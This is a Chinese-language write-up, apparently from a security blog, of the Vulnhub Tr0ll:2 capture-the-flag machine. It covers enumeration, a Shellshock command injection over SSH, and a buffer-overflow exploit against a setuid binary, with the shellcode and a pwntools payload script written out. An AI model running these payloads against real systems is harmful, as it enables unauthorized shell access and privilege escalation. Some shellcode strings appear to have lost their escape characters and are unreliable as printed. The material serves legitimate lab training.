【Vulnhub】Tr0ll:2

admin 2020年8月25日14:27:30评论216 views字数 1521阅读5分4秒阅读模式

【Vulnhub】Tr0ll:2


首先扫描端口


【Vulnhub】Tr0ll:2


扫目录,发现了这些东西,去访问一下


【Vulnhub】Tr0ll:2


robots.txt 中有很多目录


【Vulnhub】Tr0ll:2


去访问了一下,在

dont_bother

keep_trying

noob

ok_this_is_it

这四个目录下有图片,下载下来,发现 dont_bother 跟其他图片的 md5 不一样


【Vulnhub】Tr0ll:2


用 winhex 看,最后有一行 Look Deep within y0ur_self for the answer

去访问一下,得到一个文件


【Vulnhub】Tr0ll:2


文件中是一些 base64 编码后的东西


【Vulnhub】Tr0ll:2


写个小脚本转一下

import base64
file = open('./flag.txt','r')
lines = file.readlines()
new=[]
for line in lines:
    line=base64.b64decode(line)
    new.append(line)
file_out=open('./flag_out.txt','w')
for line1 in new:
    file_out.writelines(line1)
file_out.close()

用 ftp 协议去访问一下,使用 Tr0ll:Tr0ll 登录成功


【Vulnhub】Tr0ll:2


下载下来,用刚才拿到的字典跑一下,瞬间出结果:

ItCantReallyBeThisEasyRightLOL


【Vulnhub】Tr0ll:2


用 winhex 打开压缩包里的文件,看上去是私钥


【Vulnhub】Tr0ll:2


尝试去登陆 ssh -i noob [email protected]

-i 是指定密钥的,我猜用户名就是 noob


【Vulnhub】Tr0ll:2


但是提示说权限有问题?


【Vulnhub】Tr0ll:2


说是我这个密钥权限太高了,那就改的小一点,wsl 改不了 windows 正常目录下的文件权限,拷到 wsl 自己的目录下改权限再试


【Vulnhub】Tr0ll:2


用这种方式绕过:

ssh -i noob [email protected] '() { :;}; /bin/bash'

再用 python 弄个好看点的

python -c 'import pty; pty.spawn("/bin/bash")'


嗷,涨知识了


【Vulnhub】Tr0ll:2


在 /nothing_to_see_here/choose_wisely 中每个文件夹有二进制文件,都有 s 的权限


【Vulnhub】Tr0ll:2


啊我吐了,nc 也不能用,git 也没有

执行第一个给我退出来了


【Vulnhub】Tr0ll:2


试了一下第二个进入了困难模式??


【Vulnhub】Tr0ll:2


第三个貌似是栈溢出


【Vulnhub】Tr0ll:2


cyclic 算出偏移


【Vulnhub】Tr0ll:2


过了一会文件又没了去了 door2... 被作者玩弄于股掌之间


【Vulnhub】Tr0ll:2


./r00t $(python -c "print 'A' * 268 + 'x80xfbxffxbf' + 'a' * 16  + 'xbaxa0x7bx18x95xdbxcdxd9x74x24xf4x58x33xc9xb1x0bx31x50x15x83xe8xfcx03x50x11xe2x55x11x13xcdx0cxb4x45x85x03x5ax03xb2x33xb3x60x55xc3xa3xa9xc7xaax5dx3fxe4x7ex4ax37xebx7ex8ax67x89x17xe4x58x3ex8fxf8xf1x93xc6x18x30x93'")


就先拿大佬们的 payload 来打了,突然发现在这种情况先我都不知道咋分析,不知所措


【Vulnhub】Tr0ll:2


我想把这个靶机的内容给提出来,直接拷到 /var/www 目录下,浏览器访问下载下来


后来在本地做的

from pwn import *
shellcode = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode += "x0bxcdx80"
payload=shellcode+'a'*(268-len(shellcode))+'xc0xd3xffxff'
print payload

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月25日14:27:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Vulnhub】Tr0ll:2http://cn-sec.com/archives/101823.html

发表评论

匿名网友 填写信息